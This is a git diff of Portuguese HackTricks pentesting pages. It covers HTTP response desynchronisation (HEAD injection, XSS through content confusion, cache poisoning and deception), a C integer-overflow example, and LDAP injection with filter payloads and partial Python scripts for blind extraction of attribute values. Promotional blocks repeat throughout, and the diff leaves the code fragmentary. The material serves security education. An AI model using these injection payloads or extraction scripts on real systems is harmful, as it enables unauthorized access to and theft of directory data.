Existem requisições interessantes como a requisição **HEAD** que são especificadas para não ter **nenhum conteúdo no corpo das respostas** e que devem (devem) **conter o Content-Length** da requisição como **se fosse uma requisição GET**.
|
Existem requisições interessantes como a requisição **HEAD** que são especificadas para não ter **nenhum conteúdo no corpo das respostas** e que devem (devem) **conter o Content-Length** da requisição como **se fosse uma requisição GET**.
|
||||||
|
|
||||||
Portanto, se um atacante **injetar** uma requisição **HEAD**, como nestas imagens:
|
Portanto, se um atacante **injetar** uma **requisição HEAD**, como nestas imagens:
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (626).png>)
|
|
||||||
|
|
||||||
Então, **uma vez que a azul é respondida ao atacante**, a próxima requisição da vítima será introduzida na fila:
|
Então, **uma vez que a azul é respondida ao atacante**, a próxima requisição da vítima será introduzida na fila:
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (651) (1) (1) (1) (1) (1) (1).png>)
|
|
||||||
|
|
||||||
Então, a **vítima** irá **receber** a **resposta** da **requisição HEAD**, que **vai conter um Content-Length mas nenhum conteúdo**. Portanto, o proxy **não enviará essa resposta** para a vítima, mas irá **aguardar** por algum **conteúdo**, que na verdade será a **resposta à requisição amarela** (também injetada pelo atacante):
|
Então, a **vítima** irá **receber** a **resposta** da **requisição HEAD**, que **vai conter um Content-Length mas nenhum conteúdo**. Portanto, o proxy **não enviará essa resposta** para a vítima, mas irá **aguardar** por algum **conteúdo**, que na verdade será a **resposta à requisição amarela** (também injetada pelo atacante):
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (627) (1).png>)
|
|
||||||
|
|
||||||
### Confusão de Conteúdo
|
### Confusão de Conteúdo
|
||||||
|
|
||||||
Seguindo o exemplo anterior, sabendo que você pode **controlar o corpo** da requisição cuja resposta a vítima vai receber e que uma **resposta HEAD** geralmente contém em seus cabeçalhos o **Content-Type e o Content-Length**, você pode **enviar uma requisição como a seguinte** para **causar XSS** na vítima sem que a página seja vulnerável ao XSS:
|
Seguindo o exemplo anterior, sabendo que você pode **controlar o corpo** da requisição cuja resposta a vítima vai receber e que uma **resposta HEAD** geralmente contém em seus cabeçalhos o **Content-Type e o Content-Length**, você pode **enviar uma requisição como a seguinte** para **causar XSS** na vítima sem que a página seja vulnerável ao XSS:
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (654) (1) (1) (1).png>)
|
|
||||||
|
|
||||||
### Envenenamento de Cache
|
### Envenenamento de Cache
|
||||||
|
|
||||||
Abusando do ataque de Confusão de Conteúdo de dessincronização de respostas comentado anteriormente, **se o cache armazenar a resposta à requisição realizada pela vítima e essa resposta for uma injetada causando um XSS, então o cache estará envenenado**.
|
Abusando do ataque de Confusão de Conteúdo de dessincronização de respostas comentado anteriormente, **se o cache armazenar a resposta à requisição realizada pela vítima e essa resposta for uma injetada causando um XSS, então o cache estará envenenado**.
|
||||||
|
|
||||||
Requisição maliciosa contendo a carga útil XSS:
|
Requisição maliciosa contendo o payload XSS:
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (644) (1).png>)
|
|
||||||
|
|
||||||
Resposta maliciosa para a vítima que contém o cabeçalho que indica ao cache para armazenar a resposta:
|
Resposta maliciosa para a vítima que contém o cabeçalho que indica ao cache para armazenar a resposta:
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (629) (1).png>)
|
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Observe que, neste caso, se o **"vítima" for o atacante**, ele poderá agora realizar **envenenamento de cache em URLs arbitrárias** pois ele pode **controlar a URL que será armazenada em cache** com a resposta maliciosa.
|
Note que, neste caso, se o **"vítima" for o atacante**, ele pode agora realizar **envenenamento de cache em URLs arbitrárias** pois ele pode **controlar a URL que será armazenada em cache** com a resposta maliciosa.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### Decepção de Cache da Web
|
### Decepção de Cache da Web
|
||||||
|
|
||||||
Este ataque é semelhante ao anterior, mas **em vez de injetar uma carga útil dentro do cache, o atacante irá armazenar informações da vítima dentro do cache:**
|
Este ataque é semelhante ao anterior, mas **em vez de injetar uma carga útil dentro do cache, o atacante estará armazenando informações da vítima dentro do cache:**
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (643) (1) (1).png>)
|
|
||||||
|
|
||||||
### Divisão de Respostas
|
### Divisão de Respostas
|
||||||
|
|
||||||
|
@ -129,31 +104,10 @@ Para alcançar isso, o atacante precisa encontrar um endpoint da aplicação web
|
||||||
|
|
||||||
Ele enviará um **exploit** como:
|
Ele enviará um **exploit** como:
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (649) (1) (1) (1).png>)
|
Depois que a primeira requisição for resolvida e enviada de volta ao atacante, a **requisição da vítima é adicionada à fila**:
|
||||||
|
|
||||||
Após a primeira requisição ser resolvida e enviada de volta ao atacante, a **requisição da vítima é adicionada à fila**:
|
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (661) (1) (1) (1).png>)
|
|
||||||
|
|
||||||
A vítima receberá como resposta o **HEAD response + o conteúdo da resposta da segunda requisição (contendo parte dos dados refletidos):**
|
A vítima receberá como resposta o **HEAD response + o conteúdo da resposta da segunda requisição (contendo parte dos dados refletidos):**
|
||||||
|
|
||||||
![](<../.gitbook/assets/image (633) (1).png>)
|
No entanto, observe como os **dados refletidos tinham um tamanho de acordo com o Content-Length** da **resposta HEAD que gerou uma resposta HTTP válida na fila de respostas**.
|
||||||
|
|
||||||
No entanto, observe como os **dados refletidos tinham um tamanho de acordo com o Content-Length** da **resposta HEAD** que **gerou uma resposta HTTP válida na fila de respostas**.
|
Portanto, a **próxima requisição da segunda vítima** irá **receber** como **resposta algo completamente criado pelo atacante**. Como a resposta é completamente criada pelo atacante, ele também pode **fazer o proxy armazenar em cache a resposta**.
|
||||||
|
|
||||||
Portanto, a **próxima requisição do segundo usuário** será **recebendo** como **resposta algo completamente criado pelo atacante**. Como a resposta é completamente criada pelo atacante, ele também pode **fazer o proxy armazenar em cache a resposta**.
|
|
||||||
|
|
||||||
|
|
||||||
<details>
|
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
||||||
|
|
||||||
Outras formas de apoiar o HackTricks:
|
|
||||||
|
|
||||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
|
||||||
|
|
||||||
</details>
|
|
||||||
|
|
|
@ -7,7 +7,7 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -23,7 +23,7 @@ Outras maneiras de apoiar o HackTricks:
|
||||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,12 +2,12 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
@ -29,28 +29,28 @@ println!("{}", add_result);
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
|
|
||||||
{% tab title="C" %}
|
{% tab title="C" %}
|
||||||
## Transbordamento de Inteiro
|
## Integer Overflow
|
||||||
|
|
||||||
Transbordamento de inteiro ocorre quando uma operação matemática resulta em um valor maior do que o máximo que pode ser representado pelo tipo de dado utilizado. Isso pode levar a comportamentos inesperados e potencialmente vulnerabilidades de segurança, como a possibilidade de alterar variáveis importantes na aplicação.
|
Integer overflow occurs when an arithmetic operation results in a value that exceeds the maximum size that the data type can hold. This can lead to unexpected behavior in the application, such as crashes, memory corruption, or even security vulnerabilities.
|
||||||
|
|
||||||
### Exemplo
|
### Example
|
||||||
|
|
||||||
```c
|
```c
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
|
||||||
int main() {
|
int main() {
|
||||||
int a = 2147483647; // maior valor positivo que um int pode armazenar
|
unsigned int x = 4294967295; // Maximum value for a 32-bit unsigned integer
|
||||||
a = a + 1; // ocorre transbordamento de inteiro
|
x = x + 1;
|
||||||
printf("Valor de a: %d\n", a);
|
|
||||||
|
printf("Value of x: %u\n", x);
|
||||||
|
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
Neste exemplo, a variável `a` atinge o valor máximo que um `int` pode armazenar e, ao adicionar 1, ocorre um transbordamento de inteiro, resultando em um valor negativo inesperado.
|
In this example, adding 1 to the maximum value of an unsigned 32-bit integer will result in an integer overflow, causing `x` to wrap around to 0.
|
||||||
|
|
||||||
### Mitigação
|
To prevent integer overflow, developers should always validate input data, use data types that can accommodate the expected range of values, and implement checks to detect and handle potential overflows.
|
||||||
|
|
||||||
Para mitigar o transbordamento de inteiro, é importante validar entradas de usuário, verificar limites de variáveis e utilizar tipos de dados apropriados para as operações matemáticas necessárias.
|
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
```c
|
```c
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
@ -72,12 +72,12 @@ return 0;
|
||||||
```
|
```
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
* Trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -6,18 +6,18 @@
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras formas de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<img src="../.gitbook/assets/i3.png" alt="" data-size="original">\
|
<img src="../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||||
**Dica de recompensa por bugs**: **inscreva-se** no **Intigriti**, uma plataforma de **recompensa por bugs premium criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100.000**!
|
**Dica de recompensa por bugs**: **inscreva-se** no **Intigriti**, uma plataforma de **recompensas por bugs premium criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100.000**!
|
||||||
|
|
||||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||||
|
|
||||||
|
@ -31,7 +31,7 @@ Outras formas de apoiar o HackTricks:
|
||||||
[pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md)
|
[pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
A **Injeção LDAP** é um ataque direcionado a aplicações web que constroem declarações LDAP a partir da entrada do usuário. Ocorre quando a aplicação **falha em sanitizar adequadamente** a entrada, permitindo que os atacantes **manipulem declarações LDAP** por meio de um proxy local, potencialmente resultando em acesso não autorizado ou manipulação de dados.
|
A **Injeção LDAP** é um ataque direcionado a aplicativos da web que constroem declarações LDAP a partir da entrada do usuário. Ocorre quando a aplicação **falha em sanitizar adequadamente** a entrada, permitindo que os atacantes **manipulem declarações LDAP** por meio de um proxy local, potencialmente resultando em acesso não autorizado ou manipulação de dados.
|
||||||
|
|
||||||
{% file src="../.gitbook/assets/en-blackhat-europe-2008-ldap-injection-blind-ldap-injection.pdf" %}
|
{% file src="../.gitbook/assets/en-blackhat-europe-2008-ldap-injection-blind-ldap-injection.pdf" %}
|
||||||
|
|
||||||
|
@ -49,13 +49,13 @@ A **Injeção LDAP** é um ataque direcionado a aplicações web que constroem d
|
||||||
**Initial** = assertionvalue\
|
**Initial** = assertionvalue\
|
||||||
**Final** = assertionvalue\
|
**Final** = assertionvalue\
|
||||||
**(&)** = TRUE Absoluto\
|
**(&)** = TRUE Absoluto\
|
||||||
**(|)** = FALSO Absoluto
|
**(|)** = FALSE Absoluto
|
||||||
|
|
||||||
Por exemplo:\
|
Por exemplo:\
|
||||||
`(&(!(objectClass=Impresoras))(uid=s*))`\
|
`(&(!(objectClass=Impresoras))(uid=s*))`\
|
||||||
`(&(objectClass=user)(uid=*))`
|
`(&(objectClass=user)(uid=*))`
|
||||||
|
|
||||||
Você pode acessar o banco de dados, que pode conter informações de vários tipos diferentes.
|
Você pode acessar o banco de dados, que pode conter informações de muitos tipos diferentes.
|
||||||
|
|
||||||
**OpenLDAP**: Se 2 filtros chegarem, apenas executa o primeiro.\
|
**OpenLDAP**: Se 2 filtros chegarem, apenas executa o primeiro.\
|
||||||
**ADAM ou Microsoft LDS**: Com 2 filtros, eles lançam um erro.\
|
**ADAM ou Microsoft LDS**: Com 2 filtros, eles lançam um erro.\
|
||||||
|
@ -161,9 +161,11 @@ Você pode iterar sobre as letras ascii, dígitos e símbolos:
|
||||||
(&(sn=administrator)(password=MB*)) : KO
|
(&(sn=administrator)(password=MB*)) : KO
|
||||||
...
|
...
|
||||||
```
|
```
|
||||||
|
### Scripts
|
||||||
|
|
||||||
#### **Descobrir campos LDAP válidos**
|
#### **Descobrir campos LDAP válidos**
|
||||||
|
|
||||||
Os objetos LDAP **contêm por padrão vários atributos** que podem ser usados para **salvar informações**. Você pode tentar **forçar todos eles para extrair essas informações**. Você pode encontrar uma lista de [**atributos LDAP padrão aqui**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt).
|
Os objetos LDAP **contêm por padrão vários atributos** que podem ser usados para **salvar informações**. Você pode tentar **forçar a entrada em todos eles para extrair essas informações**. Você pode encontrar uma lista de [**atributos LDAP padrão aqui**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt).
|
||||||
```python
|
```python
|
||||||
#!/usr/bin/python3
|
#!/usr/bin/python3
|
||||||
import requests
|
import requests
|
||||||
|
@ -195,7 +197,7 @@ if char == alphabet[-1]: #If last of all the chars, then, no more chars in the v
|
||||||
finish = True
|
finish = True
|
||||||
print()
|
print()
|
||||||
```
|
```
|
||||||
#### **Injeção LDAP Blind Especial (sem "\*")**
|
#### **Injeção LDAP Cega Especial (sem "\*")**
|
||||||
```python
|
```python
|
||||||
#!/usr/bin/python3
|
#!/usr/bin/python3
|
||||||
|
|
||||||
|
@ -221,20 +223,20 @@ intitle:"phpLDAPadmin" inurl:cmd.php
|
||||||
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
|
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
|
||||||
|
|
||||||
<img src="../.gitbook/assets/i3.png" alt="" data-size="original">\
|
<img src="../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||||
**Dica de recompensa por bugs**: **inscreva-se** no **Intigriti**, uma plataforma premium de **recompensas por bugs criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100,000**!
|
**Dica de recompensa por bugs**: **inscreva-se** no **Intigriti**, uma plataforma premium de **recompensas por bugs criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100.000**!
|
||||||
|
|
||||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Aprenda hacking na AWS de zero a herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Outras maneiras de apoiar o HackTricks:
|
Outras maneiras de apoiar o HackTricks:
|
||||||
|
|
||||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,11 +2,11 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
